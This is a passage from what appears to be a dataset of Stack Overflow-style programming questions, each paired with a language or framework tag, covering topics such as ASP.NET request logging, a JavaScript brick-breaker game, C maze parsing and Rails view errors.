system.out.println(nf.format(totalinventory));     }  } </code></pre>,java
application_beginrequest not being fired in stressed environment  we are obesrving strange problems when performing sress test of our applciation. we use application_beginrequest and application_endrequest to log the beginning and end of the web request  together  with the thread id.    however  from our logs  we see that application_begin_request is not being fired:    we use the following code to do the logging in global.asax.cs:   <pre><code>protected void application_beginrequest(object sender  eventargs e) {   string url =   ;   if (httpcontext.current != null)  // this should alway be true     url = httpcontext.current.request.url.tostring();    dbg.writeline(string.format( request: {0} {1}   httpcontext.current.request.servervariables[ remote_addr ]  url));    // integration calls measurement   httpcontext.current.items.add( wcfelapsed   new timespan());  }  protected void application_endrequest(object sender  eventargs e) {   string url =   ;   if (httpcontext.current != null)  // this should alway be true     url = httpcontext.current.request.url.tostring();    dbg.writeline(string.format( end request: {0} {1}   httpcontext.current.request.servervariables[ remote_addr ]  url)); } </code></pre>   this is our log file. urls are omitted the 00013 column is thread id.   <pre><code>  14.12.10 21:41:25.042 00013 00000            request: 172.23.26.41    14.12.10 21:41:25.068 00013 00000            end request: 172.23.26.41    14.12.10 21:41:25.212 00013 00000            request: 172.23.26.41    14.12.10 21:41:25.223 00013 00000            end request: 172.23.26.41    14.12.10 21:41:30.974 00013 00000            end request: 172.23.26.88  </code></pre>   you can see that there are two  end request  in the last two lines  but there is no (begin) request for the last log line.    our dbg.writeline uses system.diagnostics trace listeners to ouput data to the file.    environment: windows server 2008 r2  asp.net 3.5    this only happens when performin stress test. cpu utilization is around 60%  there are max 10 concurent requests executing.     any ideas  what could be wrong     <strong>update:</strong> i have found out that some other also did have similar problems (althoug in different configuration: <a href= http://forums.iis.net/t/1154954.aspx  rel= nofollow noreferrer >http://forums.iis.net/t/1154954.aspx</a>) matej    <strong>update#2</strong>: this night be related to fact  that thread.gethashcode() which is used to print out the thread identifier in our log fies could change. see <a href= https://stackoverflow.com/questions/5112333/asp-net-thread-gethashcode-changes >asp.net - thread.gethashcode() changes</a>,asp.net
i want to run same code with different data concurrently  i want to run same code with different data concurrently. please let me know  how to do. scenario- i have moving car in map  single car working fine .now i want to add another car  so i have to use same code but both car should seem moving concurrently.,ios
android api to check if call is dialing or active  following are the states which it goes through in different scenarios:    <strong>1) answering received call</strong>   <pre><code>call_state_ringing =&gt; call_state_offhook (after answering call) =&gt; call_state_idle (after end call)   </code></pre>   <strong>2) rejecting / not answering (missed) received call</strong>   <pre><code>call_state_ringing =&gt; call_state_idle (after end call)   </code></pre>   <strong>3) dialing call</strong>   <pre><code>call_state_offhook (after dialing) =&gt; call_state_idle (after end call) </code></pre>   how to catch situation when  dialing  call state become be  active  in android,android
client code generation from wsdl in .net  i am posting my 1st question here so if i do any mistake then i do apologize. i want to generate a client code form the wsdl files. but i am very new to this so so some body can give me a bit more knowledge then it will be really appreciated.    thanks.,asp.net
brick breaker - bricks not appearing  i m currently writing a brickbreaker game in the javascript language. its one of my first projects using the language and i ve run into a few difficulties. this is the code i have:    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8  /&gt;     &lt;title&gt;&lt;/title&gt;     &lt;style&gt;     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;  &lt;canvas id= mycanvas  width= 500  height= 500 &gt;&lt;/canvas&gt;  &lt;script&gt;  var canvas=document.getelementbyid( mycanvas ); var ctx = canvas.getcontext( 2d ); var ballradius=10; var a = {     x: canvas.width/2      y: canvas.height-30}; var x=canvas.width/2; var y=canvas.height-30; var speed = [2  -2  10]; var paddle = {     paddleheight: 10      paddlewidth: 75      }; var paddlex=(canvas.width-paddle.paddlewidth)/2; var rightpressed= false; var leftpressed=false; var score = 0; var brick = {     brickrowcount: 3      brickcolumncount: 5      brickwidth: 75      brickheight: 20      brickpadding: 10      brickoffsettop: 30      brickoffsetleft: 30}; var amountofbricks = brick.brickrowcount*brick.brickcolumncount; document.addeventlistener( keydown  keydownhandler false); document.addeventlistener( keyup  keyuphandler false); var wall = new wall(5  3   75  70  10  30  30); wall.makebricks();  function brick(x  y  width  height  status) {     this.x = x;     this.y = y;     this.width = width;     this.height = height;     this.status = status;      this.display = function() {         if(this.status == 1) {             ctx.beginpath();             ctx.rect(this.x  this.y  this.width  this.height);             ctx.fillstyle =  green ;             ctx.fill();             ctx.closepath();         }     } }  function wall(numrows  numcols  brickswidth  bricksheight  brickspadding  bricksoffsettop  bricksoffsetleft) {     this.numrows = numrows;     this.numcols = numcols;     this.brickswidth = brickswidth;     this.bricksheight = bricksheight;     this.brickspadding = brickspadding;     this.bricksoffsettop = bricksoffsettop;     this.bricksoffsetleft = bricksoffsetleft;     this.bricks = [];      this.makebricks = function() {         for(c=0; c &lt; this.numrows; c++) {             this.bricks[c] = [];             for(r=0; r &lt; this.numcols; r++) {                 this.bricks[c][r] = new brick(                     (c*(this.brickswidth + this.brickspadding)+this.bricksoffsetleft)                      (r*(this.bricksheight+this.brickspadding)+this.bricksoffsettop)                      this.bricksheight                      this.brickswidth                      1)             }         }     }      this.display = function() {         for(row of this.bricks) {             for(brick of row) {                 console.log(brick);                 brick.display()             }         }     } }  function keydownhandler(e){     if(e.keycode==39){          rightpressed=true;          }         else if(e.keycode==37){          leftpressed=true;          }      }   function drawscore() {     ctx.font =  16px arial ;     ctx.fillstyle =  #0095dd ;     ctx.filltext( score:  +score  8  20); } function keyuphandler(e){      if(e.keycode==39){          rightpressed=false;     }     else if(e.keycode==37){          leftpressed=false;          }     }  function drawball(){     ctx.beginpath();     ctx.arc(x y ballradius 0 2*math.pi);     ctx.fillstyle= #0033ff ;     ctx.fillstroke= #0033ff ;     ctx.stroke= 10      ctx.fill();     ctx.closepath();     }  function drawpaddle(){     ctx.beginpath();     ctx.rect(paddlex canvas.height-paddle.paddleheight paddle.paddlewidth paddle.paddleheight);     ctx.fillstyle= #0095dd ;     ctx.fill();     ctx.closepath();     }  function collisiondetection() {     for(c=0; c&lt;brick.brickcolumncount; c++) {         for(r=0; r&lt;brick.brickrowcount; r++) {             var b = bricks[c][r];             if(b.status == 1) {                 if(x &gt; b.x &amp;&amp; x &lt; b.x+brick.brickwidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brick.brickheight) {                     speed[1] = -speed[1];                     b.status = 0;                     score++;                     if(score == amountofbricks) {                         alert( you win );                         document.location.reload()                     }                 }             }         }     } }    function draw(){     ctx.clearrect(0 0 canvas.width canvas.height);     //drawbricks();     drawball();     drawpaddle();     drawscore();     wall.display();     collisiondetection();  if(x + speed[0] &gt; canvas.width-ballradius || x + speed[0] &lt; ballradius) {         speed[0] = -speed[0];     }     if(y + speed[1] &lt; ballradius) {         speed[1] = -speed[1];     }     else if(y + speed[1] &gt; canvas.height-ballradius) {         if(x &gt; paddlex &amp;&amp; x &lt; paddlex + paddle.paddlewidth) {              if(y= y-paddle.paddleheight){             speed[1] = -speed[1]  ;              }         }         else {             alert( game over );             document.location.reload();         }     }     if(rightpressed &amp;&amp; paddlex&lt;canvas.width-paddle.paddlewidth){          paddlex+=7;         }      else if(leftpressed &amp;&amp; paddlex&gt;0 ){          paddlex-=7;           }           x=x+speed[0];          y=y+speed[1];     }  setinterval(draw 10);  &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   unfortunately  this produces the wrong type of bricks as they should be small and flat and instead come out big and boxy. also when the ball does hit the bricks it doesn t have a affect on them  whereas it should get rid of the brick and increase the score. can anyone see where my code is going wrong and point out what to fix to get the game working     thanks.,javascript
compare dates and find out weather first date is greater from second  date1=23-3-2013    date2=26-3-2013    how to compare above both date such as if date2 >= date1 echo greater them equal to    else    echo not greater them equal to    here greater does not means mathematically greater,php
float to int in c unexpected output  i have the following code in c   <pre><code>#include &lt;stdio.h&gt;  int main() {      float a = 1.88;     a =a - (0.25 * 7 + 0.1 * 1);     a = a *100;     printf( a = %f\n  a );     int b =(int) (a);     printf( b = %d\n   b); } </code></pre>   the value of b should be <code>2</code> but i get the following output-   <pre><code>a = 3.000000 b = 2 </code></pre>   why is it so,c
undefined method empty  for nil:nilclass - when it s not nil  can anyone explain why this code:   <pre><code>    &lt;%= form.select(:language_id) do             language.all.each do |lang|                 content_tag(:option  lang.name  value: lang.id                      onchange:  setthemeandmode( #{lang.theme}   #{lang.mode} ) )             end         end     %&gt; </code></pre>   errors with this:   <pre><code>undefined method `empty   for nil:nilclass extracted source (around line #22): 20 21 22 23 24 25          &lt;/p&gt;     &lt;/div&gt;     &lt;%= form.select(:language_id) do             language.all.each do |lang|                 content_tag(:option  lang.name  value: lang.id                      onchange:  setthemeandmode( #{lang.theme}   #{lang.mode} ) ) </code></pre>   i m very new to ruby  and believe it to mean that it isn t finding any <code>languages</code> - but the database is full of them. removing the <code>content_tag</code> and just having an <code>&lt;h3&gt;lang.name&lt;/h3&gt;</code> displays correctly. any help is very much appreciated.,ruby-on-rails
how to define constrains for multiple different generic types  i have following interfaces defined   <pre><code>interface istoreitem {  }  interface iloaditem {  } </code></pre>   now i would like to implement a collection which can handle items of these interafeces but usually a class which realises istoreitem will not realise iloaditem. so is there some way i can define a constrain like this:   <pre><code>public class networkingcollection&lt;t&gt; : list&lt;t&gt;    where t : istoreitem or iloaditem {  } </code></pre>,.net
angular expression {{something ||  <something> }} breaks parser  in my template  if a scope property is not available i would like to print a default:    <code>{{myproperty ||  default }}</code>    i was playing around with the <code> default </code> string a little bit and realized that angle brackets <code>&lt;...&gt;</code> cause the parser to break on that expression.    so this     <code>{{myproperty ||  &lt;default&gt; }}</code>    will not be angularized.    see plunker: <a href= http://plnkr.co/edit/emxadkszs5tgyz9q84ci p=preview  rel= nofollow >http://plnkr.co/edit/emxadkszs5tgyz9q84ci p=preview</a>    i can t find anything in the doc regarding this. seems to me the parser should just pass string literals as are  but i guess not. anyone know what s happening,angularjs
my character search loops  i m working on a project to navigate any maze that is scanned from a file. however i m stuck on my character searching loop: it will search for the  s  or the  s  character however after that it won t register the location of  e  or  e .    i had added trouble shooting statements where it prints the  state  it is running like a <code>printf(  );</code> statement but the testing isn t even printed.    i m using xcode on macosx.    here is the maze:   <pre><code>############ #...#......# s.#.#.####.# ###.#....#.# #....###.#.e ####.#.#.#.# #..#.#.#.#.# ##.#.#.#.#.# #........#.# ######.###.# #......#...# ############ </code></pre>   there is no spaces between characters.   <pre><code>int main() {     int i  j;     char maze_array[size][size];     int srow=0  scol=0;     int erow=0  ecol=0;     int flag = 0;       file * maze;     maze = fopen( file   r );      if (maze == null)         printf( erorr in locating file );     else     {         // scans the file into a 2dimensional array         for (i = 0; i &lt;= size - 1; i++)         {             for ( j = 0; j &lt;= size - 1; j++)             {                 fscanf(maze   %c   &amp;maze_array[i][j]);             }         }         // prints the maze scaned from the file a extra step into making sure its the right maze as well        printf( here is the scaned maze: \n );        for ( i= 0; i &lt;= size - 1; i++)         {              for ( j = 0; j &lt;= size - 1; j++)             {                 printf( %c   maze_array[i][j]);             }         }          // finds the starting  cell           printf( \n\nfinding starting position );         for (i = 0; i &lt;= size -1; ++i)         {             if ((maze_array[0][i] ==  s ) || (maze_array[0][i] ==  s ))             {                 srow=0;                 scol=i;                 flag = 1;             }             else if ((maze_array[i][0] ==  s ) || (maze_array[i][0] ==  s ))             {                 srow=i;                 scol=0;                 flag = 1;             }              else if ((maze_array[size-1][i] ==  s ) || (maze_array[size-1][i] ==  s ))             {                 srow=size - 1;                 scol=i;                 flag = 1;             }              else if ((maze_array[i][size-1] ==  s ) || (maze_array[i][size-1] ==  s ))             {                 srow=i;                 scol=size - 1;                 flag = 1;             }           }         printf( \nstarting location:\n );         printf( row:%i column:%i  srow  scol);          // finds the ending  cell          printf( \n\nfinding ending position );         for (i = 0; i &lt;= size - 1; ++i)         {              if ((maze_array[0][i] ==  e ) || (maze_array[0][i] ==  e ))             {                 erow=0;                 ecol=i;                 flag = 1;                 printf( found ending location1 );             }             else if ((maze_array[i][0] ==  e ) || (maze_array[i][0] ==  e ))             {                 erow=i;                 ecol=0;                 flag = 1;                 printf( found ending location2 );              }             else if ((maze_array[i][size-1] ==  e ) || (maze_array[i][size-1] ==  e ))             {                 erow=i;                 ecol=size - 1;                 flag = 1;                 printf( found ending location3 );              }             else if ((maze_array[size-1][i] ==  e ) || (maze_array[size-1][i] ==  e ))             {                 erow=size - 1;                 ecol=i;                 flag = 1;                 printf( found ending location4 );              }         }          printf( \nending location:\n );         printf( row:%i column:%i  erow  ecol);     }        printf( \n\n );     return 0; } </code></pre>   here are the results i get:    here is the scanned maze:    <pre><code>############ #...#......# s.#.#.####.# ###.#....#.# #....###.#.e ####.#.#.#.# #..#.#.#.#.# ##.#.#.#.#.# #........#.# ######.###.# #......#...# ############ </code></pre>   finding starting position starting location: row:2 column:0    finding ending position ending location: row:0 column:0    program ended with exit code: 0,c
rails3 - edit and show a bill after create  i have a form to create an  adherent  (like a member for a non-profit organisation)  with two submit buttons. the first only create the  adherent   and the second  create the adherent and show a bill  (because adherent have to pay).    i m using ajax.    so i have : adherentscontroller and factureadhesioncontroller .  my problem is that i can t show the bill after created the adherent.    log :   <pre><code> actionview::template::error (undefined method `nom_adherent  for nil:nilclass):     2:      3:      4:      5: &lt;%= @facture_adhesion.nom_adherent %&gt;   app/views/facture_adhesions/_show.html.erb:5:in `_app_views_facture_adhesions__show_html_erb__741033609_23539632    app/controllers/adherents_controller.rb:141:in `block (2 levels) in create    app/controllers/adherents_controller.rb:135:in `create  </code></pre>   adherentscontroller    <pre><code>def create     @adherent = adherent.new(params[:adherent])       # if params[:commit] ==  valider  do things        elsif params[:commit] ==  valider et éditer une facture   #si on a cliqué sur  valider et voir la facture          if @adherent.save             @facture = factureadhesion.new(                 :date_adhesion =&gt; @adherent.date_adhesion                  :dimension_date_id =&gt; num_aujourdhui                  :nom_adherent =&gt; @adherent.nom                  :prenom_adherent =&gt; @adherent.prenom                  :adresse1 =&gt; @adherent.adresse1                  :adresse2 =&gt; @adherent.adresse2                  :code_postal =&gt; @adherent.code_postal                  :ville =&gt; @adherent.ville                  :telephone =&gt; @adherent.numero_telephone                  :adresse_mail =&gt; @adherent.adresse_mail                  :montant =&gt; @adherent.type_tarif.montant                  :libelle =&gt;  adhesion                            )              respond_to do |format|                 if @facture.save                     format.html { redirect_to @adherent  notice:  adherent was successfully created.  }                     format.json { render json: @adherent  status: :created  location: @adherent }                     format.js do                     render :inline =&gt; affichage_sur_panneau_principal +  $( #panneau_principal ).html( &lt;%= j (render(:partial =&gt;  facture_adhesions/show   :locals =&gt; {:facture_adhesion =&gt; @facture}))  %&gt; );  + gerer_loading                     end                 else                     format.html { render action:  new  }                 format.json { render json: @adherent.errors  status: :unprocessable_entity }                 format.js {render :inline =&gt;  $( #panneau_principal ).html( &lt;%= j (render(:partial =&gt;  adherents/new ))  %&gt; ) }                 end             end         end        end </code></pre>   factureadhesions/show    <pre><code>&lt;%= @facture_adhesion.nom_adherent %&gt; </code></pre>   the facture is well created  but i can t show it. i think the problem is that <code>@facture_adhesion</code> is empty. but how can i get it from factureadhesion/show   <code>:locals =&gt;</code> seems not to work...    does somebody has an idea   thank you,ruby-on-rails
android: softkeyboard moving textedit out of screen  i am trying to the softkeyboard so the user can enter his information to create a new account on my android app. the problem is that some of my textedits are always flowing outside the screen and the user can not see what he actually typed. the screen looks this way:    <img src= https://i.stack.imgur.com/u2wzr.png  alt= screenshot >    this screen was built using the following xml code:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android  android:layout_width= fill_parent  android:orientation= vertical  android:layout_height= fill_parent &gt;           &lt;com.markupartist.android.widget.actionbar         android:id= @+id/actionbar          style= @style/actionbar /&gt;            &lt;scrollview     android:layout_width= fill_parent      android:layout_height= fill_parent      android:layout_weight= 1.0 &gt;      &lt;linearlayout         android:layout_gravity= bottom          android:paddingtop= 15dip          android:orientation= vertical          android:layout_width= fill_parent          android:layout_height= fill_parent &gt;          &lt;edittext android:id= @+id/txtphonenumber               android:layout_width= fill_parent              android:layout_height= wrap_content              android:layout_marginleft= 15dip              android:layout_marginright= 15dip              android:nextfocusup= @+id/loginbutton              android:nextfocusdown= @+id/txtpassword               android:hint= phone number              android:inputtype= number               android:singleline= true  /&gt;         &lt;edittext android:id= @+id/txtpassword               android:layout_width= fill_parent              android:layout_height= wrap_content              android:layout_margintop= 20dip              android:layout_marginleft= 15dip              android:layout_marginright= 15dip              android:hint= password              android:inputtype= textpassword              android:singleline= true              android:nextfocusdown= @+id/txtname /&gt;         &lt;edittext android:id= @+id/txtname               android:layout_width= fill_parent              android:layout_height= wrap_content              android:layout_margintop= 20dip              android:layout_marginleft= 15dip              android:layout_marginright= 15dip              android:hint= name              android:singleline= true              android:nextfocusdown= @+id/txtpin   /&gt;           &lt;edittext android:id= @+id/txtpin               android:layout_width= fill_parent              android:layout_height= wrap_content              android:layout_margintop= 20dip              android:layout_marginleft= 15dip              android:layout_marginright= 15dip              android:hint= pin              android:inputtype= number              android:singleline= true  /&gt;                  &lt;/linearlayout&gt;      &lt;/scrollview&gt;      &lt;linearlayout android:id= @+id/buttonslayout       android:layout_width= fill_parent      android:layout_height= wrap_content      android:layout_margintop= 20dip              android:layout_marginleft= 15dip              android:layout_marginright= 15dip  &gt;          &lt;button android:id= @+id/btnlogin          android:layout_width= fill_parent                    android:layout_height= wrap_content           android:layout_weight= 1.0           android:text= @string/btnlogin                               android:onclick= onregisterclick  /&gt;                              &lt;/linearlayout&gt;    </code></pre>       and in my androidmanifest.xml i have defined my activity this way:   <pre><code>&lt;activity android:name= .activity.newaccountactivity         android:label= @string/app_name         android:screenorientation= portrait         android:windowsoftinputmode= statehidden|adjustresize  /&gt; </code></pre>   i have tried my different combinations of layout and windowsoftinputmode  but i never can get the textedit that is being changed to be visible on the screen. am i missing anything here     thanks for any reply t,android
displaying file jhtml  can you help please. i am trying to list these outcome  in a vertical order  but it keeps horizontally.    <pre><code>document.writeln( premium ticket cost is   + calcbasecost( premium   numtickets  baseticketprice));  document.writeln( standard ticket cost is   + calcbasecost( standard   numtickets  baseticketprice));  document.writeln( budget ticket cost is   + calcbasecost( budget   numtickets  baseticketprice)); </code></pre>   tried <code>&lt;p&gt; &lt;/ p&gt;</code> but to no avail,html
shortening variable to x amount of characters without breaking html tags  currently working on a blog article preview system and have been using the following function to show a preview 400 chars of text and then place a ... at the end of the cut.    <pre><code>function shortentext($text) {         $chars = 400;         $text = $text.   ;         $text = substr($text 0 $chars);         $text = substr($text 0 strrpos($text    ));         $text = $text. ... ;         return $text;  } </code></pre>   this has been working fine for sometime  today s post to the blog got cut half way through a html tag and busted the whole page.    is there any way to get this function to not cut html tags     example $body content    <pre><code>   sdadasdasd&lt;br&gt;&lt;br&gt;sed molestie augue sit amet leo consequat posuere. vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; proin vel ante a orci tempus eleifend ut et mag&lt;font size= 5 &gt;na. lorem ipsum&lt;/font&gt; dolor sit amet  consectetur adipiscing elit. vivamus luctus urna sed urna ultricies ac tempor dui sagittis. in condimentum facilisis porta. sed nec diam eu diam mattis viverra. nulla fringilla  orci ac euismod semper  magna diam porttitor mauris  quis sollicitudin sapien justo in libero. vestibulum molli&lt;span style= background-color: darkblue; &gt;s mauris enim. &lt;a href= url.html &gt;morbi&lt;/a&gt; euismod magna ac lorem rutrum elementum. donec viverra auctor lobortis. pellentesque eu est a nulla placerat dignissim. morbi a enim in &lt;/span&gt;magna semper bibendum. etiam scelerisque  nunc ac egestas consequat  odio nibh euismod nulla  eget auctor orci nibh vel nisi. aliquam erat volutpat. mauris vel neque sit amet nunc gravida congue sed sit amet purus. quisque lacus quam  egestas ac tincidunt a  lacinia vel velit. aenean facilisis nulla vitae urna tincidunt congue sed ut dui. mor&lt;span style= color: midnightblue; &gt;bi malesuada nulla nec purus convallis consequat. vivamus id mollis quam. morbi ac commodo nulla. in condimentum orci id nisl volutpat bibendum. quisque commodo hendrerit lorem quis egestas. maecenas quis tortor arcu. vivamus rutrum nunc non neque consectetur quis placerat neque lobortis. nam vestibulum  arcu sodales feugiat consectetur  nisl orci bibendum elit  eu euismod magna sapien ut nibh. donec semper quam scelerisque tortor dictum gravida. in hac habitasse platea dictumst. nam pulvinar  odio sed rhoncus suscipit  sem diam ultrices mauris  eu consequat purus metus eu velit. proin metus odio  aliquam&lt;/span&gt; eget molestie nec  gravida ut sapien. phasellus quis est sed turpis sollicitudin venenatis sed eu odio. praesent eget neque eu eros interdum malesuada non vel leo. sed fringilla porta ligula egestas tincidunt. nullam risus magna  ornare vitae varius eget  scelerisque a libero. morbi eu porttitor ipsum. nullam lorem.&lt;br&gt; </code></pre>   thanks in advance,php
arranging all rows of a table based on value of some column  such as rows which have same value of some column needs to be shown together <h1>question</h1>   arranging all rows of a table based on value of some column  such as rows which have same value of some column needs to be shown together   <h1>table</h1>  <pre><code>empid         empname        home place 101           ram           delhi 102           mohan         mumbai 103           shyam         kolkata 104           jack          delhi 105           sham          mumbai </code></pre>  <h1>view required</h1>  <pre><code>101           ram           delhi 104           jack          delhi 102           mohan         mumbai 105           sham          mumbai 103           shyam         kolkata </code></pre>,sql
malloc the not treated lines of a file  i ve got the following struct   <pre><code>struct jugadorstruct_t { int fichas  manos_ganadas  manos_perdidas; char* nombre; int* fichas_partidas; }; </code></pre>   i want to initialize this struct with some values in a txt file  so i do the following:   <pre><code>int initjugador(jugadorptr_t jugador) {     file* fp =  fopen( /home/norhther/clionprojects/blackjack/jugador.txt   r );  if (fp == null) {     printf( el archivo del jugador no existe\n );     fclose(fp);     return 1; } else {     char* line = null;     size_t len = 0;      getline(&amp;line  &amp;len  fp);     jugador-&gt;nombre = strdup(line);      getline(&amp;line  &amp;len  fp);     jugador-&gt;fichas = atoi(line);      getline(&amp;line  &amp;len  fp);     jugador-&gt;manos_ganadas = atoi(line);      getline(&amp;line  &amp;len  fp);     jugador-&gt;manos_perdidas = atoi(line);       while (getline(&amp;line  &amp;len  fp) != -1) {         printf( %s   line);     } }  fclose(fp); return 0; } </code></pre>   (the pre is that the file has at least 4 lines)    i don t know how many lines there is left in the file  but in each remaining line there is a number. i wish to allocate memory and add each value to fichas_partidas.    is there a nice way to achieve this,c
how to implement the functionality of ngclass (angularjs 1.x) in angularjs 2   in angularjs 1.x  there is the ngclass directive to bind a css name dynamically. how to implement the same functionality in angularjs 2,angularjs
is enrollment in apple developer program necessary for getting a certificate and private key pair   i am in the process of learning to write apps in swift for ios. i want to generate an ipa file with xcode to test on a phone.    (1) is it absolutely necessary to have a certificate and private key pair in order to generate the ipa  if not  how can i do it     (2) if the answer to (1) is yes  is it necessary to join the apple developer program. if not  how can i get a certificate and private key pair without an apple developer account,ios
how to update partial after completing job  this is my first post here but i have gotten some great info from this site already. so i thought someone may be able to help.    in my view i have a form that once submitted  the controller passes the job off to <a href= https://github.com/jeffkreeftmeijer/navvy  rel= nofollow >navvy</a> and it really works well. the problem is i would like to have another partial on the same page as the form update with the new info once navvy is done working. so in my controller i have:   <pre><code>navvy::job.enqueue( getzip  :get_zip   @series  :job_options =&gt; {:priority =&gt; 8}) </code></pre>   and then in my navvy block which is located in config/initializers/navvy.rb i have:   <pre><code>class getzip def self.get_zip(params)   fetch = fetch.new   fetch.get_zip(params) # what to put here to update partial # end end </code></pre>   which works as expected. i am just not sure how i can have the partial in my view updated once the navvy job is completed. any suggestions would be greatly appreciated.,ruby-on-rails
php: is it possible to set the domain when creating a session   on mydomain.com if i run this code:   <pre><code>session_start(); $_session[ close_label ] =  1 ; </code></pre>   and then onspect the session cookie in my browser  it says:   <blockquote>    domain: .mydomain.com  </blockquote>   is it possible to have it say:   <blockquote>    domain: .someotherdomain.com  </blockquote>   or not,php
install referrer issue in android app  i am trying to decode a base64 encoded install referrer received from the site but the base64 decoder code written at app end is unable to decode it  though if the same referrer is fired from adb shell the decoding get successfull.  note: both the platforms are using base64 default at their end and referrer is successfully getting received and only the decoding part is not occurring.    this is the encoded referrer part: utm_content%3dnzuwmzg3odi2nhwxnta4mjuznhxjvnw=,android
concept for calculation with user given data and predefined data  i would appreciate some input regarding following computational concept.     i am new with <code>php/mysql</code> and therefore i am not sure about architecture of the following calculation problem:    each user that comes to my webpage will have on option to enter 5 numbers which will be used for further calculations. lets name them <strong>$input1  $input2  $input3  $input4  $input5.</strong>    somewhere in the code in arrays or in the database ( this is yet to be determined - please suggest what you think it s best) will be a series of data.<br> for now lets say we have <code>30 arrays of data</code>.     example of calculation:    each of this numbers <code>$input(i)</code> will have an <code>if statement</code> and depending on the <code>true/false</code> will be used with other numbers from <code>data(1)=array</code>.<br> result of this computation will be stored in a newly created array => <code>results(1)=array</code>.<br> then different <code>$input(i)</code> is used for calculation with the same <code>data=array(1)</code> and result is saved in a newly created array=> <code>results(2)=array</code>. etc... and so for calculation between all 5 <code>$inputs</code> with only 1 <code>data(1)=array</code>  result would be 5 different results arrays.     items inside this <code>results=arrays</code>  with the same index would be later summed up in a <code>final_result=array</code>. ( which will be displayed on the page) (summation of vectors basically)    and then this should loop for the other <code>29 arrays of data</code>.    my question is regarding concept.<br> is it worthwhile to create a database of this data  because users will not input any data that will be saved to server.<br> database  if used  will be only for reading data for calculation.<br> i (admin) will have to update this data 1-2 per month.<br> any other comments  suggestions  which functions to use or how to simplify this problem are welcome.    thanks in advance  jan,php
how to give a struct a  virtual  typedef   i have a struct <code>basestorage</code> that stores various run-time data  and a struct <code>basestatic</code> that holds a <code>basestorage</code> (or derived) typedef and  static  data that doesn t get changed and is read from multiple instances of a struct <code>holder</code>.  <code>holder</code> has a pointer to one of each  a <code>const basestatic*</code> to access that read-only  shared data and a <code>basestorage*</code> as its personal info store.  the  static  data in <code>basestatic</code> is still populated at run-time (read from a file); it is not constant!    the idea here is that <code>basestatic</code> has a certain set of read-only data and functions that will be shared 1:n among many <code>holder</code> instances.  each <code>holder</code> will also have run-time info specific to its instance that needs to match the <code>basestatic</code> derived type.  so that s what <code>basestorage</code> derived stuff does  it holds the specific run-time info that a <code>basestatic</code> type will need.  <code>holder</code> itself also stores data and has functions that are the same among all <code>holder</code>s; it isn t an inert container.    so i need a derived <code>basestorage</code> paired with each derived <code>basestatic</code>.  there will be many of these derived pairs.   <pre><code>struct basestorage {  int something[2]; };  struct basestatic {  typedef basestorage storage;   //members and stuff };   struct derivedstorage : public basestorage {  std::string somethingelse; };  struct derivedstatic : public basestatic {  typedef derivedstorage storage;   //other things };   struct holder {  const basestatic* base;  basestorage* storage; }; </code></pre>   i have a builder function that does some stuff  among them populating storage.  the only way i can think of doing it is with templates  like so:   <pre><code>template&lt;typename t&gt; holder&amp; builder(const t* base) //receives a basestatic {  holder&amp; holder = ...;   //add to a list  etc   holder.base = base;  holder.storage = new t::base(); } </code></pre>   however  that is going to result in a lot of templated functions getting made by the compiler for a very trivial thing (accessing a single type!).  further i can never have params for my t::base constructor (unless all structs have the same ones!).  i m sure this is terrible in other ways too.    is there any way to store a type that can be accessed virtually from <code>basestatic</code> without using templates   there s gotta be a better way.    there are various constraints that have led me to this setup  so i apologize if it s ugly.,c++
formatting json in asp.net httpresponse  i m sending back a bunch of image tags via json in my .ashx response.    i am not sure how to format this so that the string comes back with real tags.  i tried to htmlencode and that sort of fixed it but then i ended up with this stupid \u003c crap:    [&quot;\u003cimg src=\&quot;<a href= http://www.sss.com/image/65.jpg  rel= nofollow noreferrer >http://www.sss.com/image/65.jpg</a>\&quot; alt=\&quot;\&quot;\u003e\u003c/li\u003e&quot; &quot;\u003cimg src=\&quot;<a href= http://www.xxx.com/image/61.jpg  rel= nofollow noreferrer >http://www.xxx.com/image/61.jpg</a>\&quot; alt=\&quot;\&quot;\u003e\u003c/li\u003e&quot;]    what the heck is \u003c      here s my code that created the json for response to my .ashx:    private void getproductsjson(httpcontext context) {     context.response.contenttype =  text/plain ;     int i = 1;    ...do some more stuff   <pre><code>foreach(product p in products) {     string imagetag = string.format(@ &lt;img src=  {0}   alt=    &gt;&lt;/li&gt;   webutil.imageurl(p.image  false));      images.add(imagetag);     i++; }  string jsonstring = images.tojson(); context.response.write(httputility.htmlencode(jsonstring)); </code></pre>   }    the tojson is simply using the helper method outlined here:    <a href= http://weblogs.asp.net/scottgu/archive/2007/10/01/tip-trick-building-a-tojson-extension-method-using-net-3-5.aspx  rel= nofollow noreferrer >http://weblogs.asp.net/scottgu/archive/2007/10/01/tip-trick-building-a-tojson-extension-method-using-net-3-5.aspx</a>,asp.net
why does mouseout is triggered when child elements hovered   the wonder is the mouseout event triggering when the mouse cursor goes over the child node. why does it happen if the cursor hasn t been out of the parent node  please consider this:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en        http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;&lt;/title&gt; &lt;script type= text/javascript &gt;      function somefunc(obj) {         document.getelementbyid( info ).innerhtml =  over ;         document.getelementbyid( info3 ).innerhtml =  over ;          obj.onmouseout = function() {              document.getelementbyid( info2 ).innerhtml =  out ;             document.getelementbyid( info3 ).innerhtml =  out ;         }          if (!obj.thechild) {             var thechild = document.createelement( div );             thechild.style.position =  relative ;             thechild.style.left =  20px ;             thechild.style.top =  20px ;             thechild.style.width =  40px ;             thechild.style.height =  40px ;             thechild.style.background =  #eeee00 ;             obj.thechild = thechild;             obj.appendchild(thechild);         }     }  &lt;/script&gt;  &lt;head&gt; &lt;body&gt;      &lt;span id= info &gt;&lt;/span&gt; &lt;span id= info2 &gt;&lt;/span&gt; &lt;span id= info3 &gt;&lt;/span&gt;      &lt;div style= position:absolute;top:100px;left:100px;width:100px;height:100px;background:#000000;  onmouseover= 